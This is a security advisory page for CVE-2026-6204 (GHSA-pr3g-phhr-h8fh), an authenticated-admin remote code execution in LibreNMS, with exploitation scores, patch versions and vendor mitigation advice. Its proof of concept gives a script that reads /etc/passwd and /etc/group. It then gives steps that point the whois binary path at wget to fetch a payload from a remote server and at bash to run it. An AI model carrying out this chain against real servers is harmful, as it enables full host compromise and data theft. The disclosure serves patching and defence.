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GHSA-pr3g-phhr-h8fh — librenms/librenms

GHSA-pr3g-phhr-h8fh is a OS Command Injection vulnerability in librenms/librenms. A fix is available for librenms/librenms — see the affected versions and patch details below.

LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write

Also known asCVE-2026-6204
Published
Mar 26, 2026
Updated
Apr 14, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pr3g-phhr-h8fh.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs59th percentile — riskier than 59% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐘librenms/librenms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.

Details

The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.

PoC

To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.

#!/usr/bin/env bash

cat /etc/passwd
cat /etc/group
whoami
pwd
ls
  1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.

    <img width="593" height="481" alt="image" src="https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5" />
  2. Make sure the malicious script malicious.sh can be downloaded.

    <img width="516" height="100" alt="image" src="https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273" />
  3. Login with an admin account and navigate to Global Settings -> External -> Binary Locations

    <img width="797" height="201" alt="image" src="https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576" />
  4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).

    <img width="478" height="58" alt="image" src="https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6" />
  5. Send the request GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server.

    <img width="900" height="209" alt="image" src="https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0" />
  6. After that, change the whois binary path to the path of bash (e.g. /bin/bash).

    <img width="751" height="56" alt="image" src="https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8" />
  7. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script.

    <img width="846" height="688" alt="image" src="https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe" />

Impact

This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.

Remediation Advice

Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.

Prerequisite

The attacker must have a valid Administrator account to exploit this vulnerability.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistlibrenms/librenms≥ 1.48&&< 26.3.026.3.0composer require librenms/librenms:^26.3.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update librenms/librenms to 26.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pr3g-phhr-h8fh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-pr3g-phhr-h8fh can be triaged on real exposure rather than presence alone.

Tailored to GHSA-pr3g-phhr-h8fh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads. ### Details The application allows administrative users to configure the absolute binary paths for network diagnostic tools at `/settings/external/binaries`. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These to
O3 Security · Impact-Aware SCA

Is GHSA-pr3g-phhr-h8fh in your dependencies?

O3 Security finds GHSA-pr3g-phhr-h8fh across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-pr3g-phhr-h8fh: librenms/librenms RCE | O3 Security